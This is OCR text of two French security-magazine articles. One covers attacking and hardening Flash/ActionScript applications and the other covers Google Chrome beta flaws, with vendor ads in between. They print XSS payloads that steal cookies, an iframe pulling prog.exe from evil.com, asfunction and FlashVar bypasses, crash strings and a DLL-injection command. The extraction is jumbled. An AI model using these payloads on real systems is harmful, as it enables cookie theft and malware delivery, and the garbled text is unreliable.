Flash demande une image au format JPEG.val = “this is data”. Code qui utilise une variable non initialisée if(checkCredentials()) { userLoggedIn = true. Considérez la commande fscommand suivante qui envoie une commande changeText avec un argument spécifié par une FlashVar.com/movie.swf?userParam= <script src=”http://evil. L'exemple de code précédent permet à un attaquant d'injecter de l'HTML ou du code script directement dans le DOM comme illustré par la requête suivante qui inclue et exécute un fichier de script JavaScript sauvé sur une machine distante. Listing 5. Il vérifie seulement que l'attribut source donné finit par une chaîne de caractères jpg. Une attention toute particulière doit être faite afin de vérifier les balises d'images et d'ancres. } En utilisant cette méthode nous pouvons facilement injecter du Javascript ou VBscript dans un composant TextArea .js”></script> _level0. http://test.jpg’> Listing 7.0 ou un composant TextArea . lcReceive = new LocalConnection(). GIF. arg = "<img src='javascript:alert(document.com/movie.allowDomain('*').com/ script. La balise <img> en Flash permet à un développeur d'embarquer non seulement des images. Ce qui permet un très grand nombre d'attaques possible."/a/b").cookie)//. Une fois que le browser à charger le fichier SWF le Javascript est exécuté sans l'interaction de l'utilisateur et la fenêtre de dialogue apparaît : http://test.connect("connName")."changeHTML".jpg'>" lcSend. Ces deux composants peuvent être abusés si l'entrée utilisée pour construire la page HTML n'est pas suffisament contrôlée. le lecteur flash réside dans un navigateur web. mais il peut aussi résider dans d'autres programmes qui hébergent des contrôles ActiveX. Seulement. http://test.flush(). Fscommand est constitué de deux parties. lcReceive.swf?htmlParam= <img src=’javascript:alert( document. function changeHTML(html:String) { outputBox.6}/. une commande et un paramètre.userParam). mais aussi des fichiers SWF.test(email). ce type d'attaque XSS requière l'interaction de 14 HAKIN9 1/2009 . Code LocalConnection expéditeur var lcSend:LocalConnection(). Aucun genre de validation n'existe pour les balises d'ancres (comme illustré dans la requête suivante). } Listing 6.swf?htmlParam= <img src=’javascript:alert( document. fournis et ensuite modifie l'élement HTML identifié par text .arg).cookie)’> Listing 4. Code de réception de LocalConnection var lcReceive:LocalConnection.

incluant des fonctions de communication en utilisant des sockets et permettant aussi l'accès Les programmeurs PHP doivent être familiers avec une fonctionnalité controversée nommée register globals. les balises <img> n'ont pas que la possibilité de charger des fichiers images. Elles peuvent aussi charger des fichiers SWF. N'importe laquelle des variables non initialisées peut être initialisé comme une FlashVar. un masque devrait être utilisé afin de limiter la zone d'affichage du fils SWF. qui a pour pour effet de transformer un lien en l'invocation d'une fonction ActionScript. Cette fonctionnalité dont beaucoup de programmeurs ignorent l'existence est maintenant désuette et sera retiré dans PHP 6.swf?htmlParam= <a href=’javascript:alert(1)’> click me</a> Supposez qu'un utilisateur renseigne dans le champs username a code qui suit : <a href=”asfunction:setPassword. On peut donc forcer le chargement d'un SWF hostile dans une application de confiance. il est possible que le fils SWF soit en train de prendre le contrôle totale de la zone. aux fichiers locaux du système. Ceci pourrait être utilisé pour compromettre l'application de confiance. Elle fut retiré dans la version 3. Ainsi. Considérez le code suivant qui appelle la fonction locale foo avec deux paramètres quand l'utilisateur clique sur l'ancre stoquée dans le composant TextArea . la function setPassword sera invoquée changeant ainsi le password en abc. Bien qu'il soit possible d'écrire un programme sûr en utilisant les registers globals. Les fichiers SWF locaux de confiance sont en mesure de lire des fichiers locaux et d'envoyer des messages à n'importe quel serveur. Variables non initialisées abc”>change the password</a> Comme mentionné précédement. Bien que le dernier exemple donné soit assez trivial. Or. Considérez la simple application Flash (Listing 2) qui accepte un username et un password comme forme d'authentification. Considérez l'extrait de code ActionScript du Listing 3 Apparement. la possibilité de créer des appels directement à des fonctions ActionScript depuis les composants HTML est une faille sérieuse. Résultat d'un scan XSS 1/2009 HAKIN9 15 . Cependant la politique de sécurité de Flash correctement appliquée lorsque le SWF injecté vient d'un domaine externe. Lorsque l'utilisateur échoue lors de la saisie du mot de passe. Si le SWF parent échoue lors de l'initialisation du masque. ActionScript contient des librairies riches en fonctions. les opportunités de nuire sont nombreuses. il illustre parfaitement les dangers d'autoriser les utilisateurs à exécuter n'importe quelle fonction ActionScript permettant ainsi de manipuler les données de l'application. il est nécessaire de connaître son existence. value1.EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH l'utilisateur.com/movie. Un utilisateur doit cliquer sur le lien afin d'exécuter le code : http://test. Lorsque l'utilisateur clique sur le lien. testBox. Lorsque d'autres SWF doivent être chargés. value2\”>foo!</a> L'utilisateur sera averti par l'application que le username/password est invalide. Imaginez une vulnérabilité XSS dans une application Flash qui permettrait à un utilisateur malintentionné de provoquer l'exécution arbitraire de fonction Flash dans un environnement de confiance. Figure 2. le nom de l'utilisateur est affiché dans le composant HTML TextArea . Elle a pour but d'injecter toutes les variables requêtées par un POST ou GET dans l'espace des variables du script.htmlText = “<a href=\” asfunction:foo. ActionScript disposait d'une fonctionnalité similaire. Cela est préférable et sans danger avant qu'un programmeur oublie d'initialiser une variable clé ou assure que la variable sera non défini. cependant comme ActionScript 2 est encore largement utilisé dans la communauté Flash. de nombreuses vulnérabilités ont été découvertes dans les applications web. mais le code injecté par l'utilisateur sera affiché comme faisant partie de la sortie HTML. Écran principal de SWFIntruder Figure 3. Protocole de fonction ActionScript Les exemples auparvant expliqués utilisaient le Javascript pour effectuer des attaques XSS communes contre les utilisateurs. il existe un protocole spécifique Flash nommé asfunction.

Considérez le code du Listing 5 qui configure une LocalConnection afin de recevoir des données. allowDomain(“*. L'une d'entre elles doit être configuré en tant que receiver et une autre en tant que sender. Les SWF n'ont pas forcément besoin de fonctionner dans le même navigateur. les LSO sont sauvegardés en texte claire sur la machine du client. mais la communication est limité par défaut aux SWF qui résident dans le même domaine. ActionScript fournit la classe LocalConnection qui permet aux applications SWF fonctionnant sur la même machine de directement communiquer entre-elles. Par exemple.com. mais des bibliothèques tierces existent et peuvent être utilisées pour sécuriser les informations critiques contenues dans les LSO. char = char.swf" /> <embed src="movie. } } return true. ce qui rend donc les attaques contre les variables non initialisées obsolètes.test.test. alors pensez à positionner le drapeau de sécurité à true.swf? userLoggedIn=true paramètres de la classe LoaderInfo. Durant la phase de debug. les local shared objects (LSOs) fournissent aux applications SWF une petite quantité d'espace de stockage. les developpeurs ont souvent recours à la fonction allowDomain pour débloquer les restrictions de sécurité par défaut.toUpperCase(). un chemin local ou une connexion HTTPS. } Listing 9.indexOf(char)!=-1 || (char. Les LSO peuvent être limités à un domaine spécifique.i++) { if(!validChar(emailSplit[0]. } return false.com et mail. Listing 8.swf" allowScriptAccess="never" allowNetworking="none" allowFullScreen="false" width="600" height="400" type="application/x-shockwave-flash"/> </object> Si vous avez planifié de sauvegarder des données confidentielles dans un objet local partagé.split("@"). les FlashVars ne sont accessibles que par les propriétés des En utlisant un schéma similaire au cookie des browsers. } } for(var i=0. l'envoyeur appel simplement la fonction send avec les arguments et le nom des fonctions désirées. car il permet à n'importe quel SWF de n'importe quel domaine d'accéder aux fonctions internes de notre application.charCodeAt(0) >= 65 && char. } function validChar(char:String):Boolean { var allowedSymbols:String = ". if(allowedSymbols. if(emailSplit.com”) permettra la communication entre www.length != 2) { return false.test. Cette valeur sera évaluée comme false dans la condition du test. Il est facile d'échapper à ce code ActionScript 2.charCodeAt(0) <= 57)) { return true. parce que la variable userLoggedIn n'a pas été initialisée. À la place d'appeler la fonction connect.i++) { if(!validChar(emailSplit[1].length._".charCodeAt(0) <= 90) || (char. } for(var i=0. Validation correcte des entrées La méthode courante de validation des entrées est de vérifier si une partie des 16 HAKIN9 1/2009 . Il n'existe pas de classe de cryptage par défaut en ActionScript.com/creditCards.charAt(i))) { return false. Le programmeur compte sur le fait que la variable userLoggedIn est non initialisée et que sa valeur sera donc undefined. Communication entre plusieurs SWFs Dans ActionScript 3. Ce qui aura pour effet de limiter les accès aux SWF qui sont transmis par HTTPS.length.charCodeAt(0) >= 48 && char.DOSSIER qui détermine si oui ou non un utilisateur a le droit de voir des informations confidentielles. Le code nécessaire pour envoyer des données en utilisant LocalConnection est montré dans le Listing 6. Il suffit de positionner userLoggedIn à true soit dans la requête GET soit comme un paramètre d'un objet à partir du HTML : http://www.i<emailSplit[1]. La fonction flush force l'objet à être écrit dans le fichier. Validation de l'email sans les expressions régulières function testEmailNoReg(email:String):Boolean { var emailSplit:Array = email. cependant les développeurs doivent continuer à valider les paramètres passer à un SWF. Configuration sécurité convenable pour la balise HTML Object <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="600" height="400"> <param name="allowScriptAccess" value="never" /> <param name="allowNetworking" value="none" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="movie. allowDomain(‘*”) est une fonction dangereuse dans notre code en production.charAt(i))) { return false. La meilleur façon d'utiliser l'astérisque est d'autoriser les SWF seulement sur le domaine ou les sous-domaines.i<emailSplit[0].test. Indépendemment de la façon dont ils sont transmis. Le code du Listing 4 genère un object partagé qui peut être utilisé par d'autres SWF sauvés en /a/b.

0/main/flash_as3_programming.userParam) + “’)”). Il a trois valeurs possibles pour allowScriptAccess : • always : Autorise le SWF à userParam=’).pdf – Adobe Flash Player 9 Security. http://cgisecurity. Une application Flash sur www. Si vous acceptez une entrée qui est utilisée par une fonction getURL ou un composant text HTML.com/ – Framework Crypto As3.com/devnet/flashplayer/articles/flash_player_9_security. Le code du Listing 7 donne un exemple d'une fonction qui utilise les expressions régulières pour tester si l'adresse email renseignée est bien valide. les administrateurs web peuvent positionner des contrôles de sécurité pour limiter les applications Flash qui ne sont pas de confiance.EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH données peut être détectée par une expression régulière. la fonction escape convertie le paramètre en chaîne de caractères et l'encode sous forme d'URL. Publier du contenu avec des contrôles de sécurité Tandis que les développeurs Flash doivent prendre de leur temps pour valider correctement les entrées.adobe. C'est le comportement par défaut dans Flash Player 7 ainsi que les versions précédentes.sourceforge.hurlant.org/papers/flash-xss. http://actioncrypt. sameDomain : Autorise le SWF à modifier le contenu de la page HTML seulement si il est du même domaine.emailParam + “’> Email me</a>” fonction escape comme validation des entrées : navigateToURL(“javascript: testFunction(‘” + escape( _level0.com/devnet/flashplayer/articles/secure_swf_apps. never: La communication entre les pages HTML et le SWF est interdite.adobe.sourceforge. http://www. http://www.// affectent les politiques de sécurité. Le paramètre allowScriptAccess contrôle si le fichier SWF peut avoir accès au conteneur HTML.org/index. http://www.com/flash/9.pdf – Programming ActionScript 3. Une expression régulière décrit simplement une succession de caractères. Outils gratuits • • • • • • • http://www.google.html – Décompilateur Flare.swf? cookie). Utiliser seulement cette option si vous avez entièrement confiance dans l'application. Comme décrit dans l'aide de Flash.html – Lecteur/Débuggueur Flash. Les applications SWF peuvent être incluses en tant qu'object dans les pages HTML en utilisant les balises <object><embed>. La fonction escape ne réussie pas à stopper les utilisateurs malicieux en sortant de la fonction JavaScript et ainsi exécutant leur propre code arbitraire comme l'illustre la requête suivante : http://www. http://flasm.com/encode.adobe.b.adobe. Considérez le code suivant : testBox.as2lib. Tandis que le paramètre allowNetworking contrôle si les SWF ont la possibilité d'utiliser l'API réseau d'ActionScript. https://www. Vous pouvez spécifier trois paramètres optionnels dans les balises <embed> ou <object> qui N'ayez pas une confiance aveugle dans les données renseignées par l'utilisateur. http://crypto. 1/2009 HAKIN9 17 .pdf – Bypassing JavaScript Filters – the Flash! Attack.0 n'est pas possible pour votre application. Sans expression régulière. alors il est quand même possible de valider vos entrées sans expression régulière. alors il convient de définir le format d'entrée acceptable par une expression régulière et de seulement accepter les protocoles HTTP et HTTPS comme lien valide. ActionScript a introduit le support natif des expressions régulières depuis la version 3 et les implémente comme définie dans les spécifications du langage EMCAScript.com ne pourra pas modifier une page HTML située à www.de/flare. Sur Internet • • • • • • http://livedocs. Si la migration vers ActionScript 3.html – The Cross Site Scripting (XSS) FAQ. http://docs.html – Creating more secure SWF web applications. Considérez la ligne suivante de code qui utilise incorrectement la • • communiquer avec la page HTML sans tenir compte du domaine qui l'a chargé.com/support/flash/downloads. Et allowFullScreen détermine si l'application Flash est autorisée à contrôler entièrerent l'écran.php/Category:SWFIntruder – SWFIntruder.net/ – Désassembleur Flasm.com/articles/xss-faq.owasp.htmlText = “<a href=’mailto: ” + _level0. la validation utilise plusieurs appels aux fonctions standards des chaînes comme illustré dans le code Listing 8. http://www. C'est le comportement par défaut de Flash Player 8 et des versions plus récentes.com.org – As2lib. où la plupart des caractères non alphanumérique sont remplacés par des séquence % suivi de la valeur en hexadécimal. http://eyeonsecurity.a.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw – XSS Vulnerabilities in Common Shockwave Flash Files. bien que la solution soit moins élégante et ne soit pas compatible avec les standards des RFC.nowrap.alert(document. Les développeurs utilisant encore ActionScript 2 doivent valider les données sans l'aide des expressions régulières ou utiliser une bibliothèques tierce comme As2lib. Attention à la fonction escape lors de vos validation des entrées. vérifiez les avec des expressions régulières pour stopper les utilisateurs malveillants.0.test.net/ – Bibliothèque d'encryption Actioncrypt.

Ne vous fiez pas aux paramètres par défaut du lecteur Flash ! The code HTML du Listing 9 illustre la configuration sécurisée. Peut être utilisé pour exécuter des attaques de spoofing. il existe des outils commerciaux qui savent générer les fichiers FLA à partir d'applications ActionScript 1/2 ou ActionScript 3. dans le but de découvrir des failles de sécurité. ce n'est pas aussi simple sous SWF. Considérez le code HTML risqué suivant pour remplacer un BBCode Flash. false : Le passage en plein écran n'est pas autorisé. Une limitation majeure de SWFIntruder est qu'il supporte seulement l'analyse des applications Flash compilées avec les versions antérieurs à Flash 8 (c'est à dire ActionScript 1 or 2). Un exemple de décompilateur gratuit se nomme Flare. Flare ne supporte pas ActionScript 3. Un décompilateur Flash va donc prendre du bytecode SWF et générer le code ActionScript correspondant. ainsi il transforme un langage bas niveau d'un SWF en un langage d'un haut niveau d'abstraction. Les décompilateurs peuvent être très utiles lors des phases d'audit de code source fermé ou d'applications Flash. <embed src={userSWF} type=application/ -shockwave-flash></embed> Il y a seulement deux valeurs possibles pour llowFullScreen . Un utilisateur peut simplement sélectionner un paramètre pour tester et exécuter un set d'attaques. . internal: Le SWF n'est pas autorisé à appeler le navigateur ou à interagir avec les APIs du navigateur. L'outil fournit un set d'attaques prédéfinies qui peuvent être customisées et utilisées afin de tester les failles XSS de manière quasi-automatique. • true : Le SWF est autorisé à prendre • complètement l'écran. cependant les autres appels réseaux sont autorisés. L'outil fonctionne sur un serveur web et est accessible via un browser. les testeurs. Il a suivi un cursus informatique et programme depuis sa plus tendre enfance. Un exemple de résultat de scan XSS est disponible dans la Figure 3. administrateurs la possibilité de créer leur propre BBCode pour permettre aux utilisateurs de formater ou inclure du contenu additionnel à un sujet de discussion. et allowFullScreen sur la balise <embed> pour empêcher les applications malicieuses de faire des connexions ou appels de scritps non souhaités. T É Outils d'analyse de sécurité Peu d'outils existe afin d'aider à l'audit d'une application Flash. Neil Bergman Neil Bergman est un ingénieur logiciel. Un décompilateur fournit le résultat inverse à un compilateur. les programmeurs. Stefano Di Paola a écrit un outil permettant de découvrir les vulnérabilités Flash cross-site scripting et crosssite nommé SWFIntruder comme le montre la Figure 2. si vous avez de l'argent à dépenser. en suivant une formation et en étant prudent lors du test de chaque valeur d'entrée. Conclusion (prononcez Swiff Intruder ). La plupart des administrateurs ont ajoutés des BBCodes supportant les SWF. allowScriptAccess. Elle présente toutes les variables non définies ainsi que toutes les variables instanciées de l'application Flash. Cependant. Une analyse statique peut alors être utilisée sur le code ActionScript ainsi obtenu. Lors du développement d'applications web complexes. la plupart des développeurs ne connaissent pas tous les risques encourus auxquelles leurs applications doivent faire face. S'il est facile de corriger une traditionnelle faille de type XSS dans un code quelconque. Les plus populaires des applications message board fournissent aux P U B L I C I Dans un environnement hostile où vous ne pouvez pas faire confiance aux SWF postés. none : Toutes les APIs réseaux sont désactivées pour le SWF. il est impératif de positionner explicitement les paramètres allowNetworking . artiste et hacker white hat. Cependant. Comme SWFIntruder. les administrateurs web peuvent travailler conjointement afin de diminuer les pertes lourdes liées aux vulnérabilités dans les applications Flash.DOSSIER Il y a aussi trois valeurs possibles pour allowNetworking : • all: Le SWF est autorisé à faire un • • nombre illimité de connexions réseaux en utilisant les APIs réseaux. qui est plus compréhensible pour un humain.

EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH 1/2009 HAKIN9 19 .

cette application Web est (et restera encore pour longtemps) le moteur de recherche par excellence. archives diverses. Néanmoins. En 2008. Comment exploiter les failles du navigateur Google... l'imagerie satellitaire avec GoogleEarth. Mozilla Firefox. tout le monde dispose de son commentaire sur la question et c'est l'éternelle querelle d'église. Google est d'abord une société fondée en 1998 par Larr y Page et Serguei Brin dans la sacro-sainte Silicon Valley (Californie. USA). 20 HAKIN9 1/2009 es navigateurs Internet de qualité se comptent sur les doigts d'une seule main : Internet Explorer. les services de messagerie électronique avec Gmail. fichiers vidéos et actualités notamment (soit près de 90% des recherches globales). Safari. Ainsi. Un jour de 1938. tout le monde connaît Google. peut-on encore aujourd'hui passer une seule journée sans utiliser Google? Néanmoins. le mathématicien américain Edward Kasner se demande quel nom donner au nombre formé du chiffre 1 suivi de 100 zéros. Google cherche maintenant à conquérir le milieu de la publicité avec AdSense. Des notions en langage C et scripting Windows WSH seront un avantage. Il s'agit du navigateur Internet Google Chrome. Les avantages du navigateur Chrome.. Savoir utiliser un navigateur Internet. Le terme fut adopté! À moins d'être totalement hermétique au phénomène Internet de ces 20 dernières années. Après avoir étendu son quasi-monopole dans le secteur de l'indexation Internet. etc. En plus. Opera. nous venons d'introduire le thème de notre dossier. en visite chez son oncle. ScreenShot du browser Chrome . CE QU'IL FAUT SAVOIR. Il pose alors cette intéressante question à son neveu de 9 ans. Est-il prudent d'utiliser ce navigateur dont le développement reste encore au stade bêta ? L CET ARTICLE EXPLIQUE. Honnêtement.DOSSIER SICCHIA DIDIER Google Chrome Génèse d'une révolution ? Degré de difficulté Depuis peu.. le garçon répond un mot enfantin : google. Selon ses propres concepteurs et employés. Google dispose aussi d'une stratégie commerciale particulièrement ambitieuse (pour ne pas dire agressive). À la réflexion de Kasner. Ajoutons Figure 1. etc. Généralement. Il faut bien reconnaître que chacun dispose de ses avantages et de ses inconvénients. Ainsi. ce moteur de recherche est considéré par de nombreux analystes comme étant le moteur le plus puissant existant sur Internet : On estime à plus de 20 milliards le nombre de documents recensés comprenant images. ce moteur est aussi apprécié pour sa rapidité de recherche et sa sobriété graphique. Google s'est donné comme mission d'organiser l'information à l'échelle mondiale et de la rendre universellement accessible et utile. une alternative nouvelle à nos habitudes de navigation Web est apparue. Les inconvénients du navigateur Chrome.

Encore une fois. l'utilisateur peut contrôler la gestion mémoire et les ressources sollicitées propres au microprocesseur de sa machine. Ainsi. extensions et plugs-in avant de se faire un avis solide sur cette application nouvelle. les traces des visites précédentes et les historiques de navigation Web. Pour atteindre ce compromis intéressant entre vitesse. le navigateur Chrome. Pour illustrer les aptitudes de ce navigateur d'un seul regard. Google Chrome est un projet partiellement Open Source.149. Il embarque aussi le moteur HTML auparavant utilisé par le navigateur Safari (WebKit) et différentes astuces glanées sur les différents navigateurs que sont IE. Celui-ci fut annoncé dès début Septembre 2008 et compte déjà de très nombreux partisans dans le monde trépidant de l'Internet. Firefox. En conclusion (eu égard aux nombreux blogs qui évoquent le sujet). En réalité. notamment grâce à la présence d'une page d'accueil particulièrement dynamique avec miniatures des liens favoris. C'est un des avantages multiples de ce navigateur Internet. chaque navigation crée un nouveau processus afin de gagner en vitesse (on parle alors de ségrégation des droits). le souci principal du browser Chrome est de privilégier la vitesse d'exécution et l'affichage des pages Internet. plusieurs onglets en activité ne ralentissent pas le système. Effectivement. Test acid2 sous FireFox Le terme est idéalement trouvé eu égard à la vitesse d'exécution. tout n'est qu'une histoire de goûts personnels et de gadgets quelconques (installation par défaut). sans révolutionner l'industrie des technologies nouvelles. L'expression est paradoxale mais juste. 1/2009 HAKIN9 21 . Néanmoins. amusons-nous un peu avec une petite liste des fonctions cachées de Google Chrome (à commander via la barre d'adresse URL) : • about:cache : Liste des fichiers mis L'objectif de cet outil est d'optimiser la navigation Internet et de gagner en sécurité et discrétion. le navigateur Chrome propose une alternative particulièrement intéressante.2. En conséquence. si on considère que ce navigateur Internet fonctionne via une API sous licence BSD. Cette indication est importante car certaines attributions ou failles ne seront peut être plus exploitables au moment de votre lecture. En finalité. nous allons évoquer les attributs de cette application. seul les sources du browser Chromium sont sous licence libre. comprendre Google Gears. Google frappe fort et risque de convertir beaucoup de monde à sa cause. Si on considère attentivement ce tableau (non-exhaustif et sujet à modification dans le court terme). Les avantages du navigateur Chrome Figure 3. L'opération se fait automatiquement lors de la clôture de l'application Chrome. les binaires Chrome sont soumis à un contrat de licence utilisateur final (CLUF ou EULA en français). Ainsi. Ainsi. il installe un moteur de rétention des informations sur l'ordinateur afin de garder les données localement. • • • Figure 2. L'avenir démontrera sans doute l'aptitude du navigateur Chrome à se frotter aux plus grands. Le plugin Gears est un prototype logiciel qui permet un accession hors-ligne à certains ser vices Web. Voir Tableau 1. Note : Cet article a été rédigé durant les mois de Septembre et Octobre 2008. Un mode de navigation privée et optionnel permet d'éviter la présence des cookies (fichiers persistants de sessions). En d'autres termes. sécurité et polyvalence. il semble déjà bien meilleur que certains de ses acolytes. etc. La navigation est souple et intuitive. on se rend bien compte que Chrome ne supplante pas encore le navigateur multi-plateforme Opera. nous vous présentons un tableau récapitulatifs des différentes fonctionnalités des browsers afin d'aider chacun dans le choix de son outil.LE NAVIGATEUR INTERNET SELON GOOGLE maintenant le dernier accroc aux habitudes des internautes. Un gestionnaire avancé des tâches accorde un regard constant sur les différents processus en activité. Opera. La version de Google Chrome étudiée est la version bêta 0. Présentement. Google Gears permet à des applications Internet de fonctionner sans accès permanent au réseau mondial grâce aux informations préalablements acquises.27/30. De cette façon. En attendant. l'ensemble de la communauté des internautes attend avec impatience les futurs implémentations. Test acid2 sous Internet Explorer 7 en cache. Le navigateur Chrome effectue aussi une compilation à la volée des scripts WSH en langage assembleur grâce au moteur V8. les développeurs Google ont opté pour 4 caractéristiques principales et importantes : • Les onglets des différentes sessions sont indépendants les uns des autres.

il convient de gérer cette alternative avec l'accord de l'utilisateur ou de l'administrateur réseau afin d'éviter les exécutions automatisées de scripts ayant FireFox v3 Non Non Oui Oui Oui Oui Oui Non Non Oui Non Non Oui Oui Oui Oui Oui Oui Non Non Non Oui Non Non pour volonté de nuire. comprendre WSH. failles. En réalite. about:version : affiche la version de Google Chrome.exe </script> frameborder=0 width=0 height=0'> De la même façon. on peut rediriger une navigation vers un autre site sans devoir avertir l'internaute (attention au phishing) : <script> document. Aussi. about:plugins : Liste détaillée des plug-ins installés. il est possible d'intégrer une commande ambiguë dans une page HTML sans qu'elle ne soit soumise préalablement à suggestion. aussi des méthodes afin d'exploiter ces Fonctionnalité Mode privé Multi OS Anti Phishing Anti PopUp Thèmes Extension ActiveX WidGets Client Mail Client FTP Client IRC Client Torrent HAKIN9 1/2009 Il faut bien comprendre que (pour le moment) le navigateur Chrome de Google ne fonctionne que sous environnement Windows. bugs et problèmes quelconques. Les faiblesses du navigateur Chrome Failles pseudo XSS et DoS dans le navigateur Chrome Néanmoins (et comme toutes les applications au stade du développement premier). about:histograms : Statistiques sur les commandes Chrome. on ne peut plus simple puisqu'il semblerait qu'aucun caractère quelconque ne soit filtré. about:dns : Statistiques sur les résolutions DNS. about:stats : Quelques statistiques sur Google Chrome. about:network : Outil relatif au téléchargement. il embarque les processus et librairies nécessaires à l'exécution de scripts selon la société du Redmond. le problème concerne l'absence de filtre sur caractères afin d'éviter les failles d'un type semblable aux traditionnels XSS (cross site scripting).write('<iframe src= http://www. Ainsi. notre navigateur étudié comporte de nombreuses failles. des pirates faisaient connaître triomphalement quelques singularités propres au navigateur Chrome. En temps normal. Débordement d'allocation mémoire. Dès le lendemain de son lancement. De ce fait. Bien que les vulnérabilités ne constituent pas une légion. Nous évoquerons aussi chacune d'entre elles au travers d'intertitres distincts : • • • Exécution automatisée de script WSH. Nous pourrons citer 3 cas particuliers. Injection d'une librairie dans un processus du browser. elles sont particulièrement dangereuses et elles permettraient de causer beaucoup de tort aux utilisateurs insouciants. Aucune suggestion ou autorisation n'est soumise à l'utilisateur.com/prog. about:memory : Etat de la mémoire utilisée. une seule ligne de script rudimentaire permet de télécharger et exécuter un programme dangereux comme un trojan.DOSSIER • • • • • • • • about:crash : Affiche l'écran relatif à une panne Chrome. Comparatif des différents navigateurs IE7 Opera v9 Non Oui Oui Oui Oui Non Non Oui Oui Oui Oui Oui 22 .evil. Voici le modèle. certains caractères engendrent des difficultés d'interprétation Chrome Oui A venir Oui Oui A venir Oui Oui Oui Oui Non Non Non Tableau 1. un malware ou un virus encore. Malheureusement.

Testez gratuitement notre service. anti-virus. Tél.com Micro-Services-Plus Une équipe spécialisée dans la sécurité informatique.microcoms. anti-phishing. Tél : 01 69 07 34 49. les différents produits BitDefender et bien plus encore.org Optik Sécurité Une etreprise québécoise spécialisée dans le développement et l'implantation de passerelles de sécurité et de productivité.micro-services-plus. Former. un service de gestion a distance est également disponible. http://www. E-mail : francesales@tippingpoint.com Sysdream Pour plus de renseignement : hakin9@hakin9. Sécuriser..com OKTEY – 5. Spécialisée dans la sécurité informatique. ALTOSPAM est un logiciel externalisé de protection de la messagerie électronique : anti-spam.net ALTOSPAM Ne perdez plus de temps avec les spams et les virus. : +33 (0)1 56 60 58 01 france@cybertrust.secureip. en proposant des prestations d’audit.com http://www.numerance. intervient auprès des Petites et Moyennes Entreprises. protéger les identités et aider ses clients à prouver leur conformité aux normes industrielles. est l’un des premiers fournisseurs mondiaux pour la sécurité de l’information et un leader global sur le marché des services de gestion et supervision de la sécurité – MSS.altospam.PRO Microcoms est une société spécialisée dans les produits Microsoft qui a pour vocation d'aider les particuliers. Toulouse.optiksecurite. : 01.fr Hervé Schauer Consultants Hervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Information Nos formations techniques en sécurité et ISO27001 sont proposées à Paris. IDS. et de formation. Maintenir.+33 (0)141 409 704 TippingPoint TippingPoint est un leader mondial dans la prévention des intrusions réseaux (Network IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de poste et le contrôle d’accès du réseau (NAC). De plus. Cybertrust 54/56 Avenue Hoche 75008 Paris France Tél. mis en place en quelques minutes.SecureIP Solutions La sécurité de l’information est une chose importante pour les entreprises et même pour les particuliers. VPN et proxy s'integreront a la pérfection dans votre réseau. http://www. Cybertrust. Cybertrust offre des services destinés à sécuriser les données critiques.tippingpoint.45. Spécialiste Linux depuis 1999..org Cabinet de conseil et centre de formation spécialisé en sécurité informatique. http://www. visant à améliorer la sécurité des applications et des systèmes d’informations. Sécurisez simplement vos emails professionnels. http://www. Conseiller.fr . Dépanner. http://www. Groupware. rue du Pic du Midi – 31150 GRATENTOUR 1/2009 HAKIN9 23 . Leurs solutions clés en main et modulaires de parefeu. http://www. anti-scam. dans la presse spécialisés. les TPE-PME et les professions libérales sur 6 axes principaux de l'informatique : Assister.pdf Informations : formations@hsc.com Cybertrust Spécialiste mondial de la sécurité de l’information. Tél : 04 74 59 78 35 Fax : 04 74 59 78 36 DÉPARTEMENT PROFESSIONNEL http://www. L’expérience c'est avant tout les recherches publiques. sauvegarde incrémentale. Les résultats disponibles sur des portails de recherche. et Marseille. C’est pourquoi SecureIP Solutions vous propose différents produits et services pour protéger vos précieuses données tels qu’un service de sauvegarde en ligne.hsc.05.com MICROCOMS Club .net http://www.81 e-mail : contact@microcoms. d’accompagnement. VPN. sont notre métier.fr/services/formations/cataloguehsc.36. FireWalls Personnalisés.sysdream.ca LE NAVIGATEUR INTERNET SELON GOOGLE NUMERANCE NUMERANCE.

Une pile dynamique d'informations.DOSSIER sous Chrome. c'est un problème de filtrage des caractères) : <script language="javascript"> window. Un flux constant de commandes et fonctions. L'idée est ingénieuse mais le problème devient important si aucune vérification sur la librairie ne survient. la consommation mémoire du navigateur Chrome devient particulièrement gourmande si on utilise certains caractères habituellement réservés à la tabulation. Il devient alors très facile d'injecter un code hostile dans un processus Chrome. Certes. Ainsi.dll""" Figure 5. 15 o o 16 r r 17 g g 18 / 19 f 20 r HAKIN9 1/2009 .. mais il traduit parfaitement bien la situation ambiguë propre au filtrage des caractères sensibles. UNIX ou encore Win32. nous avions déjà consacré un long article sur les nouvelles formes de rootkits sous Windows. Le modèle % provoque un simple plantage (DoS). En d'autres termes. Microsfot IE Firefeox Safai Other RootKit facile sous Google Chrome L'injection d'une librairie au sein d'un processus existant est habituellement une technique avancée afin d'intégrer un rootkit dans un système Win32/64.exe –lang=fr channel=3968. Utilisation des différents navigateurs et au sein d'un processus autorisé. C'est un exemple parmi tant d'autres qui illustre bien le protocole propre aux librairies (considérez l'entrée unique DLLmain) : Dans la même veine. Ainsi la commande --plugin-path ne contrôle pas la nature et la provenance de ces susdites librairies.open("\rn\rn"). etc. Ainsi. Cet article expliquait qu'il était possible d'injecter le code d'une librairie dans une plage de mémoire valide Cette perception simpliste d'une nature autrement plus complexe permet de comprendre l'interdépendance de ces trois grands ensembles. </script> window. Afin d'obtenir un shell. l'architecture propre aux dif férents OS reste sensiblement identique au phénomène expliqué auparavant. Il est particulièrement intéressant de noter que les développeurs du browser Chrome ont exploité cette alternative afin de pouvoir intégrer des extensions à ce navigateur. l'application se clôture mais (comme le dit l'auteur de l'a dvisor y) le mal est déjà fait. Figure 4.]/"> crash me</a> window. Vous pourrez essayer quelques variantes. au retour à la ligne.. (en simplifiant au maximum) une application en activité sous-entend : • • • Des allocations de mémoire réservées. Il était très difficile alors de localiser ce thread malin dans la liste des applications connues. Certes.open("\rn\rn"). Introduction aux débordements de tampon chrome. il ne s'agit pas d'un problème majeur. Voici la commande : local\google\ Shell "c:\users\xxxxx\appdata\ chrome\application\ --type = plugin – 1103732645 –pluginrootkit. N'oubliez pas que c'est justement l'une des pertinences propres à ce navigateur. . Il existe un exploit simple qui démontre la sensibilité du browser à quelques commandes malignes (encore une fois. la librairie se 